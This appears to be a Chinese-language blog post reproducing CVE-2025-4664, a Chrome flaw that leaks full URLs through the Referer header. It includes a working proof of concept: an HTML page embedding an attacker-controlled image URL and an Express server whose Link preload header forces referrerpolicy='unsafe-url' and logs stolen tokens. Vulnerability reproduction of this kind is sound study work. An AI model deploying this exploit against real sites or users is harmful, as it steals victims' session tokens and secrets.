title: Google Chrome 跨源数据泄露漏洞(CVE-2025-4664)复现
date: 2025-05-15 20:42:27
tags:
- 信息泄露
- Referer-Policy
categories: - Web漏洞复现
前言
前几天才写了一篇文章1,关于数据包中referer
头信息泄露的问题。能窃取referer
头中的敏感信息。窃取关键是要启用unsafe-url
,这里就是前端开发的设置问题了。最近爆出了一个Chrome
浏览器的漏洞,就是去窃取用户referer
头中的敏感信息,不需要前端启用了unsafe-url
也可以实现敏感信息的窃取。最初我在X上看到了提出这个问题的推文2,当时好像是说不算是漏洞问题,后面Google
给了CVE
,定级为CVE-2025-4664
。下面我们来复现一下这个漏洞。
漏洞描述
Google 发布公告称**Google Chrome 跨源数据泄露漏洞(CVE-2025-4664)**存在在野利用,该漏洞源于 Google Chrome 加载程序中的策略执行不足,远程攻击者利用此漏洞可使浏览器发起请求时携带完整的URL,导致敏感信息泄露3。目前该漏洞已发现在野利用。
鉴于此漏洞影响范围较大,建议客户尽快做好自查及防护。⚠️⚠️⚠️
漏洞影响版本
Google Chrome(Windows/Mac) < 136.0.7103.113/.114
Google Chrome(Linux) < 136.0.7103.113
漏洞复现
还是按照之前写的1。
A
为URL
:http://127.0.0.1:3000/index.html?token=xxxxxx
B
为这个index.html
页面,其中img
标签的src
属性我们可控,其页面不启用unsafe-url
。
攻击效果: 受害者会带着自己的
token
,就是这里的A
,访问到页面B
,B
中的img
标签的src
属性我们可控,设置为攻击者监听数据包的脚本,监听的数据包中包含有敏感信息的referer
,进而实现信息的窃取。
B
的index.html
页面内容如下,其中的http://127.0.0.1:3001/image
为攻击者嵌入的监听数据包的恶意URL
,这里为了演示方便我使用了本地的127.0.0.1:3001
表示。这里页面没启用unsafe-url
,正常是窃取不到referer
头中的敏感信息的。
<!DOCTYPE html>
<html>
<head>
<title>Logo</title>
</head>
<body>
<h1>Logo Picture</h1>
<img src="http://127.0.0.1:3001/image" alt="Logo Picture">
</body>
</html>
对于http://127.0.0.1:3001/image
的后端代码main.js
如下:
const express = require('express')
const app = express()
const port = 3001
const path = require('path')
app.get('/image',(req,res) => {
res.setHeader('Link','<http://127.0.0.1:3001/log>;rel="preload"; as="image";referrerpolicy="unsafe-url"')
res.sendFile(path.join(__dirname,'logo.png'))
});
app.get('/log',(req, res) => {
console.log(req.headers['referer']);
res.send('Hi!');
});
app.listen(port,() => {
console.log(`Server running at http://localhost:${port}`);
});
本地使用python3 -m http.server 3000
启用一个web
服务,把B
这个index.html
页面放在当前启用web
服务的目录下,受害者访问A
,即http://127.0.0.1:3000/index.html?token=secret
,表示受害者正常访问页面,到达了B
。
攻击者在自己的vps
上node main.js
运行恶意的脚本,即得到这里的http://127.0.0.1:3001/image
。将这个恶意的URL
,嵌入到B
这个正常安全的页面中去,前提是B
的src
属性是攻击者可控的。
受害者使用不安全的Google Chrome
浏览器版本,去访问安全Referer-Policy
配置的 B
页面时,就会导致referer
头中的敏感信息泄露。
结果如下:
我使用的Chrome
版本如下,低于安全版本。